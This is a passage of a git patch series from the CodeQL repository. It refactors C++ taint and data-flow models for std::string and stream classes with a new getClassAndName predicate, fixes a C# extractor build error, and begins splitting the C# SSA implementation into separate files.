} From 6cafb281b5d686ffc717a2076ea710edcda48b42 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 19 Jan 2021 09:45:24 +0100 Subject: [PATCH 0682/1241] C#: Remove leftover DB upgrade folder --- csharp/upgrades/to_change/upgrade.properties | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 csharp/upgrades/to_change/upgrade.properties diff --git a/csharp/upgrades/to_change/upgrade.properties b/csharp/upgrades/to_change/upgrade.properties deleted file mode 100644 index ff3b5413d2c..00000000000 --- a/csharp/upgrades/to_change/upgrade.properties +++ /dev/null @@ -1,2 +0,0 @@ -description: Add 'relational_pattern_expr' and its four subtypes ('<', '>', '<=', '>=') -compatibility: backwards From a5632b272ed3906423dd9da0eb5db3a74ca6d888 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 18 Jan 2021 14:52:35 +0000 Subject: [PATCH 0683/1241] C++: Fix performance issue in hasTaintFlow / hasDataFlow. --- cpp/ql/src/semmle/code/cpp/models/interfaces/DataFlow.qll | 1 + cpp/ql/src/semmle/code/cpp/models/interfaces/Taint.qll | 1 + 2 files changed, 2 insertions(+) diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/DataFlow.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/DataFlow.qll index c1b65d62706..b30861254dc 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/DataFlow.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/DataFlow.qll @@ -24,5 +24,6 @@ abstract class DataFlowFunction extends Function { * represented by `input` to the return value or buffer represented by * `output` */ + pragma[nomagic] abstract predicate hasDataFlow(FunctionInput input, FunctionOutput output); } diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/Taint.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/Taint.qll index fe617533f59..05a5d9f1c28 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/Taint.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/Taint.qll @@ -28,5 +28,6 @@ abstract class TaintFunction extends Function { * Holds if data passed into the argument, qualifier, or buffer represented by * `input` influences the return value or buffer represented by `output` */ + pragma[nomagic] abstract predicate hasTaintFlow(FunctionInput input, FunctionOutput output); } From b8e6ad89221415c0dc2501850896bbe6b0414ae6 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 18 Jan 2021 17:27:26 +0000 Subject: [PATCH 0684/1241] C++: Introduce new predicate for better performance in models. --- cpp/ql/src/semmle/code/cpp/Function.qll | 12 ++++++++++++ .../code/cpp/models/implementations/StdString.qll | 2 +- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index 560ddfbd4c8..7bda4559c61 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -334,6 +334,18 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { ) } + /** + * Gets the class of which this function, called `name`, is a member. + * + * Prefer to use `getDeclaringType()` or `getName()` directly if you do not + * need to reason about both. + */ + pragma[nomagic] + Class getClassAndName(string myName) { + this.hasName(myName) and + this.getDeclaringType() = result + } + /** * Implements `ControlFlowNode.getControlFlowScope`. The `Function` is * used to represent the exit node of the control flow graph, so it is diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index effef9eef35..5c902cedd42 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -69,7 +69,7 @@ private class StdStringConstructor extends Constructor, TaintFunction { * The `std::string` function `c_str`. */ private class StdStringCStr extends TaintFunction { - StdStringCStr() { this.getDeclaringType() instanceof StdBasicString and this.hasName("c_str") } + StdStringCStr() { this.getClassAndName("c_str") instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value From bfef1a200eb727da0f72afb257182017477499bd Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 18 Jan 2021 17:54:05 +0000 Subject: [PATCH 0685/1241] C++: Apply the new pattern in other parts of StdString.qll where it matters. --- .../cpp/models/implementations/StdString.qll | 35 ++++++------------- 1 file changed, 11 insertions(+), 24 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 5c902cedd42..9a733cb3eed 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -82,7 +82,7 @@ private class StdStringCStr extends TaintFunction { * The `std::string` function `data`. */ private class StdStringData extends TaintFunction { - StdStringData() { this.getDeclaringType() instanceof StdBasicString and this.hasName("data") } + StdStringData() { this.getClassAndName("data") instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -100,10 +100,7 @@ private class StdStringData extends TaintFunction { * The `std::string` function `push_back`. */ private class StdStringPush extends TaintFunction { - StdStringPush() { - this.getDeclaringType() instanceof StdBasicString and - this.hasName("push_back") - } + StdStringPush() { this.getClassAndName("push_back") instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from parameter to qualifier @@ -196,7 +193,7 @@ private class StdStringAppend extends TaintFunction { * The standard function `std::string.assign`. */ private class StdStringAssign extends TaintFunction { - StdStringAssign() { this.getDeclaringType() instanceof StdBasicString and this.hasName("assign") } + StdStringAssign() { this.getClassAndName("assign") instanceof StdBasicString } /** * Gets the index of a parameter to this function that is a string (or @@ -236,7 +233,7 @@ private class StdStringAssign extends TaintFunction { * The standard function `std::string.copy`. */ private class StdStringCopy extends TaintFunction { - StdStringCopy() { this.getDeclaringType() instanceof StdBasicString and this.hasName("copy") } + StdStringCopy() { this.getClassAndName("copy") instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // copy(dest, num, pos) @@ -249,7 +246,7 @@ private class StdStringCopy extends TaintFunction { * The standard function `std::string.substr`. */ private class StdStringSubstr extends TaintFunction { - StdStringSubstr() { this.getDeclaringType() instanceof StdBasicString and this.hasName("substr") } + StdStringSubstr() { this.getClassAndName("substr") instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // substr(pos, num) @@ -295,9 +292,7 @@ private class StdBasicIStream extends ClassTemplateInstantiation { * The `std::istream` function `operator>>` (defined as a member function). */ private class StdIStreamIn extends DataFlowFunction, TaintFunction { - StdIStreamIn() { - this.getDeclaringType() instanceof StdBasicIStream and this.hasName("operator>>") - } + StdIStreamIn() { this.getClassAndName("operator>>") instanceof StdBasicIStream } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -390,9 +385,7 @@ private class StdIStreamRead extends DataFlowFunction, TaintFunction { * The `std::istream` function `readsome`. */ private class StdIStreamReadSome extends TaintFunction { - StdIStreamReadSome() { - this.getDeclaringType() instanceof StdBasicIStream and this.hasName("readsome") - } + StdIStreamReadSome() { this.getClassAndName("readsome") instanceof StdBasicIStream } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to first parameter @@ -405,9 +398,7 @@ private class StdIStreamReadSome extends TaintFunction { * The `std::istream` function `putback`. */ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { - StdIStreamPutBack() { - this.getDeclaringType() instanceof StdBasicIStream and this.hasName("putback") - } + StdIStreamPutBack() { this.getClassAndName("putback") instanceof StdBasicIStream } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -440,9 +431,7 @@ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { * The `std::istream` function `getline`. */ private class StdIStreamGetLine extends DataFlowFunction, TaintFunction { - StdIStreamGetLine() { - this.getDeclaringType() instanceof StdBasicIStream and this.hasName("getline") - } + StdIStreamGetLine() { this.getClassAndName("getline") instanceof StdBasicIStream } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -587,9 +576,7 @@ private class StdStringStreamConstructor extends Constructor, TaintFunction { * The `std::stringstream` function `str`. */ private class StdStringStreamStr extends TaintFunction { - StdStringStreamStr() { - this.getDeclaringType() instanceof StdBasicStringStream and this.hasName("str") - } + StdStringStreamStr() { this.getClassAndName("str") instanceof StdBasicStringStream } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to return value (if any) @@ -620,7 +607,7 @@ private class StdStreamFunction extends DataFlowFunction, TaintFunction { or this.getDeclaringType() instanceof StdBasicOStream and this.hasName(["seekp", "flush"]) or - this.getDeclaringType() instanceof StdBasicIOS and this.hasName("copyfmt") + this.getClassAndName("copyfmt") instanceof StdBasicIOS } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { From f8a1fb1c3515f4673007f01ae0b4f0b7cb45e988 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 18 Jan 2021 17:56:27 +0000 Subject: [PATCH 0686/1241] C++: Apply the new pattern where it doesn't matter for performance as well, for consistency. --- .../cpp/models/implementations/StdString.qll | 25 ++++++------------- 1 file changed, 8 insertions(+), 17 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 9a733cb3eed..e0786074f2d 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -113,9 +113,7 @@ private class StdStringPush extends TaintFunction { * The `std::string` functions `front` and `back`. */ private class StdStringFrontBack extends TaintFunction { - StdStringFrontBack() { - this.getDeclaringType() instanceof StdBasicString and this.hasName(["front", "back"]) - } + StdStringFrontBack() { this.getClassAndName(["front", "back"]) instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from object to returned reference @@ -150,8 +148,7 @@ private class StdStringPlus extends TaintFunction { */ private class StdStringAppend extends TaintFunction { StdStringAppend() { - this.getDeclaringType() instanceof StdBasicString and - this.hasName(["operator+=", "append", "insert", "replace"]) + this.getClassAndName(["operator+=", "append", "insert", "replace"]) instanceof StdBasicString } /** @@ -266,9 +263,7 @@ private class StdBasicStringStream extends ClassTemplateInstantiation { * The `std::string` functions `at` and `operator[]`. */ private class StdStringAt extends TaintFunction { - StdStringAt() { - this.getDeclaringType() instanceof StdBasicString and this.hasName(["at", "operator[]"]) - } + StdStringAt() { this.getClassAndName(["at", "operator[]"]) instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to referenced return value @@ -342,8 +337,7 @@ private class StdIStreamInNonMember extends DataFlowFunction, TaintFunction { */ private class StdIStreamGet extends TaintFunction { StdIStreamGet() { - this.getDeclaringType() instanceof StdBasicIStream and - this.hasName(["get", "peek"]) and + this.getClassAndName(["get", "peek"]) instanceof StdBasicIStream and this.getNumberOfParameters() = 0 } @@ -359,8 +353,7 @@ private class StdIStreamGet extends TaintFunction { */ private class StdIStreamRead extends DataFlowFunction, TaintFunction { StdIStreamRead() { - this.getDeclaringType() instanceof StdBasicIStream and - this.hasName(["get", "read"]) and + this.getClassAndName(["get", "read"]) instanceof StdBasicIStream and this.getNumberOfParameters() > 0 } @@ -486,8 +479,7 @@ private class StdBasicOStream extends ClassTemplateInstantiation { */ private class StdOStreamOut extends DataFlowFunction, TaintFunction { StdOStreamOut() { - this.getDeclaringType() instanceof StdBasicOStream and - this.hasName(["operator<<", "put", "write"]) + this.getClassAndName(["operator<<", "put", "write"]) instanceof StdBasicOStream } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { @@ -602,10 +594,9 @@ private class StdBasicIOS extends ClassTemplateInstantiation { */ private class StdStreamFunction extends DataFlowFunction, TaintFunction { StdStreamFunction() { - this.getDeclaringType() instanceof StdBasicIStream and - this.hasName(["ignore", "unget", "seekg"]) + this.getClassAndName(["ignore", "unget", "seekg"]) instanceof StdBasicIStream or - this.getDeclaringType() instanceof StdBasicOStream and this.hasName(["seekp", "flush"]) + this.getClassAndName(["seekp", "flush"]) instanceof StdBasicOStream or this.getClassAndName("copyfmt") instanceof StdBasicIOS } From b4a5346dc335ac2d9ca23bc19c47df9b50da725b Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 18 Jan 2021 18:36:18 +0000 Subject: [PATCH 0687/1241] C++: It turns out .getTemplate() is not necessary. --- .../code/cpp/models/implementations/StdString.qll | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index e0786074f2d..8fd2f79cfdd 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -12,7 +12,7 @@ import semmle.code.cpp.models.interfaces.DataFlow * The `std::basic_string` template class instantiations. */ private class StdBasicString extends ClassTemplateInstantiation { - StdBasicString() { this.getTemplate().hasQualifiedName("std", "basic_string") } + StdBasicString() { this.hasQualifiedName("std", "basic_string") } } /** @@ -256,7 +256,7 @@ private class StdStringSubstr extends TaintFunction { * The `std::basic_stringstream` template class instantiations. */ private class StdBasicStringStream extends ClassTemplateInstantiation { - StdBasicStringStream() { this.getTemplate().hasQualifiedName("std", "basic_stringstream") } + StdBasicStringStream() { this.hasQualifiedName("std", "basic_stringstream") } } /** @@ -280,7 +280,7 @@ private class StdStringAt extends TaintFunction { * The `std::basic_istream` template class instantiations. */ private class StdBasicIStream extends ClassTemplateInstantiation { - StdBasicIStream() { this.getTemplate().hasQualifiedName("std", "basic_istream") } + StdBasicIStream() { this.hasQualifiedName("std", "basic_istream") } } /** @@ -470,7 +470,7 @@ private class StdGetLine extends DataFlowFunction, TaintFunction { * The `std::basic_ostream` template class instantiations. */ private class StdBasicOStream extends ClassTemplateInstantiation { - StdBasicOStream() { this.getTemplate().hasQualifiedName("std", "basic_ostream") } + StdBasicOStream() { this.hasQualifiedName("std", "basic_ostream") } } /** @@ -585,7 +585,7 @@ private class StdStringStreamStr extends TaintFunction { * The `std::basic_ios` template class instantiations. */ private class StdBasicIOS extends ClassTemplateInstantiation { - StdBasicIOS() { this.getTemplate().hasQualifiedName("std", "basic_ios") } + StdBasicIOS() { this.hasQualifiedName("std", "basic_ios") } } /** From be7d458dc65b30cfb74e1f2638a5a398e258a779 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 19 Jan 2021 09:49:51 +0100 Subject: [PATCH 0688/1241] C#: Fix build error in RelationalPattern --- .../Entities/Expressions/Patterns/RelationalPattern.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs index 9dce7bf7c52..77efd5668c4 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs @@ -9,7 +9,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class RelationalPattern : Expression { public RelationalPattern(Context cx, RelationalPatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, NullType.Create(cx), cx.Create(syntax.GetLocation()), GetKind(syntax.OperatorToken), parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), GetKind(syntax.OperatorToken), parent, child, false, null)) { Expression.Create(cx, syntax.Expression, this, 0); } From 2a8060102d4109c233f1f773e10b06a9c3fc6eaf Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Thu, 26 Nov 2020 15:47:01 +0100 Subject: [PATCH 0689/1241] C#: Split up SSA implementation --- .../ql/src/semmle/code/csharp/Assignable.qll | 3 +- .../code/csharp/commons/ConsistencyChecks.qll | 5 +- .../semmle/code/csharp/controlflow/Guards.qll | 7 +- .../semmle/code/csharp/dataflow/Nullness.qll | 19 +- .../src/semmle/code/csharp/dataflow/SSA.qll | 1937 +---------------- .../dataflow/internal/DataFlowPrivate.qll | 15 +- .../code/csharp/dataflow/internal/SsaImpl.qll | 1231 +++++++++++ .../dataflow/internal/SsaImplCommon.qll | 561 +++++ .../dataflow/internal/SsaImplSpecific.qll | 19 + .../rangeanalysis/ModulusAnalysisSpecific.qll | 2 +- .../internal/rangeanalysis/RangeUtils.qll | 2 +- .../rangeanalysis/SsaReadPositionSpecific.qll | 2 +- .../dataflow/defuse/useUseEquivalence.ql | 16 +- .../dataflow/ssa/PreSsaConsistency.ql | 7 +- 14 files changed, 1957 insertions(+), 1869 deletions(-) create mode 100644 csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll create mode 100644 csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll create mode 100644 csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll diff --git a/csharp/ql/src/semmle/code/csharp/Assignable.qll b/csharp/ql/src/semmle/code/csharp/Assignable.qll index f0d82f1dbce..ef00211188c 100644 --- a/csharp/ql/src/semmle/code/csharp/Assignable.qll +++ b/csharp/ql/src/semmle/code/csharp/Assignable.qll @@ -3,6 +3,7 @@ */ import csharp +private import semmle.code.csharp.dataflow.internal.SsaImpl as SsaImpl /** * An assignable, that is, an element that can be assigned to. Either a @@ -83,7 +84,7 @@ class AssignableRead extends AssignableAccess { pragma[noinline] private ControlFlow::Node getAnAdjacentReadSameVar() { - Ssa::Internal::adjacentReadPairSameVar(_, this.getAControlFlowNode(), result) + SsaImpl::adjacentReadPairSameVar(_, this.getAControlFlowNode(), result) } /** diff --git a/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll b/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll index a4405a5a309..79ff7107129 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll @@ -46,7 +46,10 @@ module SsaChecks { } predicate notDominatedByDef(AssignableRead read, string m) { - exists(Definition def, BasicBlock bb, ControlFlow::Node rnode, ControlFlow::Node dnode, int i | + exists( + Definition def, ControlFlow::BasicBlock bb, ControlFlow::Node rnode, ControlFlow::Node dnode, + int i + | def.getAReadAtNode(rnode) = read | def.definesAt(_, bb, i) and diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll b/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll index a9d95bd0084..396fb52a85d 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll @@ -1723,6 +1723,7 @@ module Internal { cached private module Cached { private import semmle.code.csharp.Caching + private import semmle.code.csharp.dataflow.internal.SsaImpl as SsaImpl /** * Holds if basic block `bb` only is reached when guard `g` has abstract value `v`. @@ -1775,9 +1776,9 @@ module Internal { private predicate adjacentReadPairSameVarUniquePredecessor( Ssa::Definition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2 ) { - Ssa::Internal::adjacentReadPairSameVar(def, cfn1, cfn2) and + SsaImpl::adjacentReadPairSameVar(def, cfn1, cfn2) and not exists(ControlFlow::Node other | - Ssa::Internal::adjacentReadPairSameVar(def, other, cfn2) and + SsaImpl::adjacentReadPairSameVar(def, other, cfn2) and other != cfn1 and other != cfn2 ) @@ -1831,7 +1832,7 @@ module Internal { private predicate firstReadUniquePredecessor(Ssa::ExplicitDefinition def, ControlFlow::Node cfn) { exists(def.getAFirstReadAtNode(cfn)) and not exists(ControlFlow::Node other | - Ssa::Internal::adjacentReadPairSameVar(def, other, cfn) and + SsaImpl::adjacentReadPairSameVar(def, other, cfn) and other != cfn ) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/Nullness.qll b/csharp/ql/src/semmle/code/csharp/dataflow/Nullness.qll index 33e1b7f24f9..15133668d00 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/Nullness.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/Nullness.qll @@ -23,6 +23,7 @@ private import internal.CallableReturns private import semmle.code.csharp.commons.Assertions private import semmle.code.csharp.controlflow.Guards as G private import semmle.code.csharp.controlflow.Guards::AbstractValues +private import semmle.code.csharp.dataflow.internal.SsaImpl as SsaImpl private import semmle.code.csharp.frameworks.System private import semmle.code.csharp.frameworks.Test @@ -177,7 +178,7 @@ private predicate defMaybeNull(Ssa::Definition def, string msg, Element reason) exists(G::DereferenceableExpr de | de = def.getARead() | reason = de.getANullCheck(_, true) and msg = "as suggested by $@ null check" and - not de = any(Ssa::PseudoDefinition pdef).getARead() and + not de = any(Ssa::PhiNode phi).getARead() and strictcount(Element e | e = any(Ssa::Definition def0 | de = def0.getARead()).getElement()) = 1 and // Don't use a check as reason if there is a `null` assignment // or argument @@ -205,7 +206,7 @@ private predicate defMaybeNull(Ssa::Definition def, string msg, Element reason) // A variable of nullable type may be null exists(Dereference d | dereferenceAt(_, _, def, d) | d.hasNullableType() and - not def instanceof Ssa::PseudoDefinition and + not def instanceof Ssa::PhiNode and reason = def.getSourceVariable().getAssignable() and msg = "because it has a nullable type" ) @@ -236,13 +237,13 @@ private predicate defNullImpliesStep( Ssa::Definition def1, BasicBlock bb1, Ssa::Definition def2, BasicBlock bb2 ) { exists(Ssa::SourceVariable v | defNullImpliesStep0(v, def1, bb1, bb2) | - def2.(Ssa::PseudoDefinition).getAnInput() = def1 and + def2.(Ssa::PhiNode).getAnInput() = def1 and bb2 = def2.getBasicBlock() or def2 = def1 and - not exists(Ssa::PseudoDefinition def | - def.getSourceVariable() = v and - bb2 = def.getBasicBlock() + not exists(Ssa::PhiNode phi | + phi.getSourceVariable() = v and + bb2 = phi.getBasicBlock() ) ) and not exists(SuccessorTypes::ConditionalSuccessor s, NullValue nv | @@ -426,14 +427,14 @@ module PathGraph { } private Ssa::Definition getAPseudoInput(Ssa::Definition def) { - result = def.(Ssa::PseudoDefinition).getAnInput() + result = def.(Ssa::PhiNode).getAnInput() } // `def.getAnUltimateDefinition()` includes inputs into uncertain // definitions, but we only want inputs into pseudo nodes private Ssa::Definition getAnUltimateDefinition(Ssa::Definition def) { result = getAPseudoInput*(def) and - not result instanceof Ssa::PseudoDefinition + not result instanceof Ssa::PhiNode } /** @@ -446,7 +447,7 @@ private predicate defReaches(Ssa::Definition def, ControlFlow::Node cfn, boolean (always = true or always = false) or exists(ControlFlow::Node mid | defReaches(def, mid, always) | - Ssa::Internal::adjacentReadPairSameVar(_, mid, cfn) and + SsaImpl::adjacentReadPairSameVar(_, mid, cfn) and not mid = any(Dereference d | if always = true diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index bb4856a0de0..f1ba9523c31 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -1,453 +1,14 @@ /** - * Provides classes for working with static single assignment (SSA) form. + * Provides the module `Ssa` for working with static single assignment (SSA) form. */ import csharp +/** + * Provides classes for working with static single assignment (SSA) form. + */ module Ssa { - class BasicBlock = ControlFlow::BasicBlock; - - private module SourceVariableImpl { - private import AssignableDefinitions - - /** A field or a property. */ - class FieldOrProp extends Assignable, Modifiable { - FieldOrProp() { - this instanceof Field - or - this instanceof Property - } - - /** Holds if this is a volatile field. */ - predicate isVolatile() { this.(Field).isVolatile() } - } - - /** An instance field or property. */ - class InstanceFieldOrProp extends FieldOrProp { - InstanceFieldOrProp() { not this.isStatic() } - } - - /** An access to a field or a property. */ - class FieldOrPropAccess extends AssignableAccess, QualifiableExpr { - FieldOrPropAccess() { this.getTarget() instanceof FieldOrProp } - } - - /** An access to a field or a property that reads the underlying value. */ - class FieldOrPropRead extends FieldOrPropAccess, AssignableRead { } - - cached - private module Cached { - cached - newtype TSourceVariable = - TLocalVar(Callable c, LocalScopeVariable v) { - c = v.getCallable() - or - // Local scope variables can be captured - c = v.getAnAccess().getEnclosingCallable() - } or - TPlainFieldOrProp(Callable c, FieldOrProp f) { - exists(FieldOrPropRead fr | isPlainFieldOrPropAccess(fr, f, c)) and - trackFieldOrProp(f) - } or - TQualifiedFieldOrProp(Callable c, SourceVariable q, InstanceFieldOrProp f) { - exists(FieldOrPropRead fr | isQualifiedFieldOrPropAccess(fr, f, c, q)) and - trackFieldOrProp(f) - } - - /** Gets an access to source variable `v`. */ - cached - AssignableAccess getAnAccess(SourceVariable v) { - exists(Callable c | - exists(LocalScopeVariable lsv | v = TLocalVar(c, lsv) | - result = lsv.getAnAccess() and - result.getEnclosingCallable() = c - ) - or - exists(FieldOrProp fp | v = TPlainFieldOrProp(c, fp) | - isPlainFieldOrPropAccess(result, fp, c) - ) - or - exists(FieldOrProp fp, SourceVariable q | v = TQualifiedFieldOrProp(c, q, fp) | - isQualifiedFieldOrPropAccess(result, fp, c, q) - ) - ) - } - - cached - AssignableDefinition getADefinition(ExplicitDefinition def) { - exists(SourceVariable v, AssignableDefinition ad | explicitDefinition(def, v, ad) | - result = ad or - result = getASameOutRefDefAfter(v, ad) - ) - } - - cached - predicate implicitEntryDefinition(ControlFlow::BasicBlocks::EntryBlock bb, SourceVariable v) { - exists(Callable c | - c = bb.getCallable() and - c = v.getEnclosingCallable() - | - // Captured variable - exists(LocalScopeVariable lsv | - v = any(LocalScopeSourceVariable lv | lsv = lv.getAssignable()) - | - lsv.getCallable() != c - ) - or - // Each tracked field and property has an implicit entry definition - v instanceof PlainFieldOrPropSourceVariable - ) - } - } - - import Cached - - /** - * Holds if `fpa` is an access inside callable `c` of `this`-qualified or - * static field or property `fp`. - */ - predicate isPlainFieldOrPropAccess(FieldOrPropAccess fpa, FieldOrProp fp, Callable c) { - fieldOrPropAccessInCallable(fpa, fp, c) and - (ownFieldOrPropAccess(fpa) or fp.isStatic()) - } - - /** - * Holds if `fpa` is an access inside callable `c` of instance field or property - * `fp` with qualifier `q`. - */ - predicate isQualifiedFieldOrPropAccess( - FieldOrPropAccess fpa, InstanceFieldOrProp fp, Callable c, SourceVariable q - ) { - fieldOrPropAccessInCallable(fpa, fp, c) and - fpa.getQualifier() = q.getAnAccess() - } - - /** Holds if `fpa` is an access inside callable `c` of field or property `fp`. */ - private predicate fieldOrPropAccessInCallable(FieldOrPropAccess fpa, FieldOrProp fp, Callable c) { - fp = fpa.getTarget() and - c = fpa.getEnclosingCallable() - } - - /** Holds if `fpa` is an access to an instance field or property of `this`. */ - predicate ownFieldOrPropAccess(FieldOrPropAccess fpa) { - fpa.getQualifier() instanceof ThisAccess - } - - /* - * Liveness analysis to restrict the size of the SSA representation - */ - - /** - * Holds if the `i`th node of basic block `bb` is assignable definition `ad` - * targeting source variable `v`. - */ - predicate variableDefinition(BasicBlock bb, int i, SourceVariable v, AssignableDefinition ad) { - ad = v.getADefinition() and - ad.getAControlFlowNode() = bb.getNode(i) and - // In cases like `(x, x) = (0, 1)`, we discard the first (dead) definition of `x` - not exists(TupleAssignmentDefinition first, TupleAssignmentDefinition second | first = ad | - second.getAssignment() = first.getAssignment() and - second.getEvaluationOrder() > first.getEvaluationOrder() and - second = v.getADefinition() - ) and - // In cases like `M(out x, out x)`, there is no inherent evaluation order, so we - // collapse the two definitions of `x`, using the first access as the representative, - // and expose both definitions in `ExplicitDefinition.getADefinition()` - not ad = getASameOutRefDefAfter(v, _) - } - - /** - * Gets an `out`/`ref` definition of the same source variable as the `out`/`ref` - * definition `def`, belonging to the same call, at a position after `def`. - */ - OutRefDefinition getASameOutRefDefAfter(SourceVariable v, OutRefDefinition def) { - def = v.getADefinition() and - result.getCall() = def.getCall() and - result.getIndex() > def.getIndex() and - result = v.getADefinition() - } - - /** - * Holds if the `i`th node of basic block `bb` is a (potential) write to source - * variable `v`. The Boolean `certain` indicates whether the write is certain. - * - * This excludes implicit writes via calls. - */ - predicate variableWriteDirect(BasicBlock bb, int i, SourceVariable v, boolean certain) { - exists(AssignableDefinition ad | variableDefinition(bb, i, v, ad) | - if - any(AssignableDefinition ad0 | ad0 = ad or ad0 = getASameOutRefDefAfter(v, ad)) - .isCertain() - then certain = true - else certain = false - ) - or - variableWriteDirect(bb, i, v.(QualifiedFieldOrPropSourceVariable).getQualifier(), certain) - or - implicitEntryDefinition(bb, v) and - i = -1 and - certain = true - } - - /** - * A classification of variable reads. - */ - newtype TReadKind = - /** An actual read. */ - ActualRead() or - /** - * A pseudo read for a `ref` or `out` variable at the end of the variable's enclosing - * callable. A pseudo read is inserted to make assignments to `out`/`ref` variables - * live, for example line 1 in - * - * ```csharp - * void M(out int i) { - * i = 0; - * } - * ``` - */ - OutRefExitRead() or - /** - * A pseudo read for a captured variable at the end of the capturing - * callable. A write to a captured variable needs to be live for the same reasons - * as a write to a `ref` or `out` variable (see above). - */ - CapturedVarExitRead() or - /** - * A pseudo read for a captured variable via a call. - */ - CapturedVarCallRead() or - /** - * A pseudo read for a `ref` variable, just prior to an update of the referenced value. - * A pseudo read is inserted to make 